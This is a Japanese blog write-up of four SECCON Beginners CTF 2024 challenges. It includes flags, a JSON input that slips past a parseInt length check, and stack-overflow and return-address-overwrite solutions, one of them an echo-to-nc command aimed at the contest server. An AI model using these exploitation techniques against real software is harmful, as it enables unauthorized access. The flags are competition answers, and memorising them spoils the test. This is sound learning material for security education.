1
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

SECCON Beginners CTF 2024 Writeup

Last updated at Posted at 2024-06-20

SECCON Beginners CTF 2024

JNSAの交流会に参加した後、IPFactoryの皆さんと参加しました。
順位は99位/962位でした。

rank.png

目次

  • welcome
  • getRank
  • simpleoverflow
  • simpleoverwrite
  • 感想

welcome(welcome, 50pt)

CTF開始直後、Discordのannouncementsチャンネルにてflagが投稿されました。

welcome.png

ctf4b{Welcome_to_SECCON_Beginners_CTF_2024}

getRank(misc, 59pt)

1位になるとflagを獲得できるみたいです。

const RANKING = [10 ** 255, 1000, 100, 10, 1, 0];

ここで10の256乗を入力すれば良いのですが以下のコードにより
10の256乗を入力するだけではflagを手に入れることはできません。

function chall(input: string): Res {
  if (input.length > 300) {
    return {
      rank: -1,
      message: "Input too long",
    };
  }

  let score = parseInt(input);
  if (isNaN(score)) {
    return {
      rank: -1,
      message: "Invalid score",
    };
  }
  if (score > 10 ** 255) {
    // hmm...your score is too big?
    // you need a handicap!
    for (let i = 0; i < 100; i++) {
      score = Math.floor(score / 10);
    }
  }

  return ranking(score);
}

flagを手に入れるには3つの条件を満たす必要があります。

  1. 入力されたものの長さが300以下であること
    (超えるとInput too longと判定される)
  2. 入力されたものがNaNでない
    (parseIntの処理後数字である必要がある)
  3. 最終的に10の255乗より大きいこと
    (1位になれない)

また、Get Rankの部分で通信を途中で止めると以下のようなヘッダとボディが書かれています。

getrank.png

したがって、通信を途中で止めて10の355乗より大きな値を入れればよいことがわかります。

1.は逆手にとればボディに以下のような配列を入力すると膨大な値でも長さは1と判定され、
flagを手に入れることができます。

{"input":["1000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000"]}

別解

16進数でもできるみたいです。

{"input":"0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff"}

ctf4b{15_my_5c0r3_700000_b1g?}

おまけ

Q.1e356のようにeを使った表記でflagが取れないのはなぜですか?

A.この場合1e356 → 1 とparseIntの処理後最初の数字の部分のみ反映されるためです。

simpleoverflow(pwnable, 50pt)

オーバーフローです。


int main() {
  char buf[10] = {0};
  int is_admin = 0;
  printf("name:");
  read(0, buf, 0x10);
  printf("Hello, %s\n", buf);
  if (!is_admin) {
    puts("You are not admin. bye");
  } else {
    system("/bin/cat ./flag.txt");
  }
  return 0;
}

配列bufとread関数に注目すると、10文字以上の入力は対応していないことがわかります。
したがって10文字以上の文字列を入力するとflag獲得です。

simpleoverflow.png

ctf4b{0n_y0ur_m4rk}

おまけ

read関数で文字列を読み取った後、終端文字を追加して配列bufに入れているため
本来収納できる10文字でも追加の終端文字によってオーバーフローし
flag獲得できてしまいます。

simpleoverwrite(pwnable, 66pt)

returnでwin関数のアドレスを実行すればflagが手に入りそうです・・・

#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

void win() {
  char buf[100];
  FILE *f = fopen("./flag.txt", "r");
  fgets(buf, 100, f);
  puts(buf);
}

int main() {
  char buf[10] = {0};
  printf("input:");
  read(0, buf, 0x20);
  printf("Hello, %s\n", buf);
  printf("return to: 0x%lx\n", *(uint64_t *)(((void *)buf) + 18));
  return 0;
}

Ghidraでwin関数のアドレスを見てみると0x00401186であることがわかります。

simpleoverwrite_Ghidra.png

ここでアドレスを入力する際、ncコマンドの後に入力すると
必ず文字列として判定されてしまうため入力できる範囲が0x21~0x7e
制限がかかってしまいます。

そこで以下のようにechoコマンドとncコマンドを同時に使用します。
echo -en "\x01" | nc simpleoverwrite.beginners.seccon.games 9001
あとは\x01の部分をいろいろと試行錯誤してflag獲得です。

simpleoverwrite_nc.png

ctf4b{B3l13v3_4g41n}

感想

自分で問題作っていろいろと試行錯誤してみるとより理解力が深まり、
実力が上がるかもしれない・・・

1
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
1
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?